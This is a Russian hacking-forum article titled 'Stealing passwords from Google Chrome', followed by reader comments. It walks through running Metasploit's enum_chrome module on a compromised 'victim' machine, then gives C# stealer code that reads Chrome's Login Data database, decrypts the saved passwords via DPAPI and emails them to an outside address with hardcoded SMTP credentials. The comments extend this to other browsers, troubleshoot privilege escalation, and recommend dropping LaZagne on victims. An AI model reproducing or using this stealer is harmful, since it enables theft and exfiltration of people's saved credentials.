Статья Воруем пароли из Google Chrome

Ave Caesars, morituri te salutant! И снова здрасте. Почему я вспомнил Цезаря? Потому что как гладиаторы, что бились во имя его, мы сегодня пойдем в борьбу за пароли гугл хрома во славу Хека.

Как и в любой моей статье будет личный профит и разработка. Ну обо всем по порядку……..

Итак, что мы хотим? Допустим, нам удалось каким либо образом похекать компутер жертвы, это здорово, но мы хотим, разумеется его аккаунт на форуме Кодеби, чтобы почитать приватики. Юзверь оказался неПальцемДеланный и использует разные пароли от разных ресурсов.

Давайте же посмотрим, как мы можем вытащить эти пароли мощью прекрасного метерпретера.
Каким либо образом получаем сессию метерпретера
upload_2017-1-23_0-34-44.png

А далее используем следующий модуль
Код:
run post/windows/gather/enum_chrome
upload_2017-1-23_0-36-3.png

После чего смотрим исходный файл
Код:
cat /root/.msf4/loot/20170122102848_default_192.168.1.222_chrome.decrypted_217283.txt
upload_2017-1-23_0-36-42.png


Ура джедайская сила метeрпретера справилась с поставленной задачей и вывело нам логин и пароль hac126@narod.ru:hac126@narod.ru

Ну это было бы слишком просто для статьи. А что если у нас нет метерпретера?
Задача: Написать свой стиллер, который будет расшифровывать пароли GoogleChrome и отсылать на почту.
Для начала поговорим о DPAPI(Data Protection Application Programming Interface) – Майкрософт, как и многие компании столкнулась с проблемой шифрования данных, которые могут быть расшифрованы только на стороне клиента. В итоге был создан алгоритм на основе мастер – ключа.

Мастер – ключ - это комбинация следующих элементов:
  • SID — уникальный идентификатор безопасности.
  • HMAC (сокращение от англ. hash-based message authentication code, хеш-код идентификации сообщений).
  • PBKDF2 – Password-Based Key Derivation Function. Стандарт формирования ключа на основе пароля. Использует псевдослучайную функцию для получения ключей.
  • MasterKey BLOB — это как раз данные с зашифрованным ключом.
Подробнее почитать тут

Отсюда следует главный вывод, что расшифровать пароли хрома можно только там где они были созданы.
Давайте напишем такой стиллер.
Установим SQLLITE уже известным нам менеджером установки пакетов и добавим следующий код:
Код:
string fileDb = @"C:\Users\Codeby\AppData\Local\Google\Chrome\User Data\Default\Login Data"; // Путь к логин данным
string connectionString = $"Data Source = {fileDb}";
string fileName = @"C:\Temp\output.txt"; // Выходной файл с паролями
StreamWriter sw = new StreamWriter(fileName, false, Encoding.UTF8);
string dbWay = "Login Data";
string db_fields = "logins"; // база паролей SQLITE
byte[] entropy = null;
string description;

DataTable db = new DataTable();
            string sql = $"SELECT * FROM {db_fields}";
            using (SQLiteConnection connection = new SQLiteConnection(connectionString))
            {
                SQLiteCommand command = new SQLiteCommand(sql, connection);
                SQLiteDataAdapter adapter = new SQLiteDataAdapter(command);
                adapter.Fill(db);
            }

            int rows = db.Rows.Count;
            Console.WriteLine($"Всего записей: {rows}");

            for (int i = 0; i < rows; i++)
            {
                string url = db.Rows[i][1].ToString();
                string login = db.Rows[i][3].ToString();
                byte[] byteArray = (byte[])db.Rows[i][5];
                byte[] decrypted = DPAPI.Decrypt(byteArray, entropy, out description);
                string password = new UTF8Encoding(true).GetString(decrypted);
                sw.WriteLine("----------------------------");
                sw.WriteLine($"Номер: {i}");
                sw.WriteLine($"Сайт: {url}");
                sw.WriteLine($"Логин: {login}");
                sw.WriteLine($"Пароль: {password}");
            }
            sw.Close();

            MailSend.SendMail("smtp.mail.ru", "codeby1@mail.ru", "123qweasd", "hac126@ya.ru", "Пароли", fileName, fileName);
            Console.ReadKey();

Код класса DPAPI Взят отсюда
Код отправки сообщений на шарпе приводится не будет в целях безопасности.
В итоге получаем профит.
upload_2017-1-23_0-42-5.png


upload_2017-1-23_0-42-25.png


Всем спасибо. Видосик.

 
По теме могу кое что намекнуть: использовать <List>/return для прохода по всем папкам собирая LoginData, и после в цикле расшифровывать данные, и выводить результат.
И что это изменит?! И что значит собирать Login Data это файл один на браузер.
 
И что значит собирать Login Data это файл один на браузер.
В твоём примере собирается только с одно браузера, а их 10+ на движке хром ( С каждого открывать и забирать данные )
Ровным счётом это позволит извлечь со всех браузеров а не с 1-го)
 
В твоём примере собирается только с одно браузера, а их 10+ на движке хром ( С каждого открывать и забирать данные )
Ровным счётом это позволит извлечь со всех браузеров а не с 1-го)
Я уже переписал давно этот пример под все браузеры и захватил еще фаерфокс с иешкой. Эта тема следующей статьи. А это тема называется Воруем пароли только с ХРОМА и понятное дело что любой продукт можно улучшать до бесконечности.
 
  • Нравится
Реакции: i_bog_i
Ну тык это ты, а другие то не догоняют :) Это уловка для них!
 
Давай не только хром, кидай и firefox + ie e.t.c Буду полезно посмотреть что ты там набросал.
 
При запуске пишет System.Data.SQLite.SQLiteException: "unable to open database file" как исправить ?
 
При запуске пишет System.Data.SQLite.SQLiteException: "unable to open database file" как исправить ?
Ошибка явно указывает на ексепшн пакета SQLite о том что не может открыть файл базы данных...
Предполагаю что либо нужного файла нету, или в процесе запуска программы не удалось его создать из-за запрета записи в определенной папке (не хватает прав на запись)
Но это предположения (@SooLFaa придет и скажет точнее )
 
Папку Temp создай. И проверь чтобы либы sqlitte были рядои
 
Ради бога но имей ввиду тогда тебе надо под админом запускать скрипт
 
Всем привет, подключился агент в Empire. Сделал иньекцию в метерпретер сессию, подключился и там, все нормально. Пишу getsystem - никаких ошибок, одна строчка которая показывает что все окей. Whoami -nt authority/system. У агента стоит винда 10 со всеми обновлениями. Хочу взять пароли с хром. пишу
run post/windows/gather/enum_chrome
И собственно вот результат :

Более того, после этого действия меня выбрасывает до обычного пользователя.. Без system прав. Как быть в такой ситуации ? Есть другие способы взять пароли в разшифрованом виде ?

Только что опробовал на windows server 2012, все отлично взяло. Тоже х64 система.. Буду благодарен за помощь.
 
Последнее редактирование модератором:
soolfaa
Есть способы как украсть пароль от FIREFOX и OPERA ?
Если обьединить их с этим скриптом было бы мощно.
 
soolfaa
Есть способы как украсть пароль от FIREFOX и OPERA ?
Если обьединить их с этим скриптом было бы мощно.
В местных приватах я выкладывал стиллер с описанием под все браузеры. Стремись, рабоатй на форуме и увидишь. Ответ - способ есть.
 
В местных приватах я выкладывал стиллер с описанием под все браузеры. Стремись, рабоатй на форуме и увидишь. Ответ - способ есть.
Премиумным пользователям доступен ? Если да, ссыль пожалуйста
 
Премиумным пользователям доступен ? Если да, ссыль пожалуйста
Нет. Премиум дает доступ только в grey. Чтобы подняться в раздел 31337 надо пройти еще два раздела. НО сначала нужно попасть в обычный GREY не купленный.
 
А мне понравился инструмент под названием LaZagne. Стилит пароли сразу от всего и записывает в файлик. Делал так: после получение сессии закидываешь на машину жертвы приложение,запускаешь из шела,потом забираешь файлик а приложение удаляешь :) Думаю если постараться ,можно даже автоматизировать данный процесс с помощью скрипта

https://github.com/AlessandroZ/LaZagne

А это уже скомпилированный файл

https://github.com/AlessandroZ/LaZagne/releases/
 
А мне понравился инструмент под названием LaZagne. Стилит пароли сразу от всего и записывает в файлик. Делал так: после получение сессии закидываешь на машину жертвы приложение,запускаешь из шела,потом забираешь файлик а приложение удаляешь :) Думаю если постараться ,можно даже автоматизировать данный процесс с помощью скрипта

https://github.com/AlessandroZ/LaZagne

А это уже скомпилированный файл

https://github.com/AlessandroZ/LaZagne/releases/
Я пробовал, допустим на машине Windows server 2008 нихрена не получается. Просто открывается и закрывается. На 10ке нормально брало. Не пойму с чем это связано. Наверное потому что питоновского интерпретатора нет..
[doublepost=1510147467,1510147432][/doublepost]
А мне понравился инструмент под названием LaZagne. Стилит пароли сразу от всего и записывает в файлик. Делал так: после получение сессии закидываешь на машину жертвы приложение,запускаешь из шела,потом забираешь файлик а приложение удаляешь :) Думаю если постараться ,можно даже автоматизировать данный процесс с помощью скрипта

https://github.com/AlessandroZ/LaZagne

А это уже скомпилированный файл

https://github.com/AlessandroZ/LaZagne/releases/
и он палится жестко .. ) АВшками
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!